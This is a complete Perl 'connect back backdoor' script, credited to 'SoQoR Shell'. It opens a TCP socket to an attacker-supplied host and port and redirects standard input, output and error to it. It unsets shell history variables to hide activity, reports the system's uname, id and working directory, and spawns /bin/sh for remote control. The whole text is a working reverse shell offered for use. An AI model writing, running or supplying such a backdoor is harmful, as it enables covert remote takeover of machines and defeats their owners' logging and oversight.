perl socket backconnectþon shell

#!/usr/bin/perl
use IO::Socket;
$system    = '/bin/sh';
$ARGC=@ARGV;
print "Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n";
if ($ARGC!=2) {
  print "Usage: $0 [Host] [Port] \n\n";
  die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Connecting... to $ARGV[0] port $ARGV[1]\n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n";
system("unset HISTFILE; unset SAVEHIST;echo Uname; uname -a;echo;
echo ID; id;echo;echo PWD; pwd");
system($system);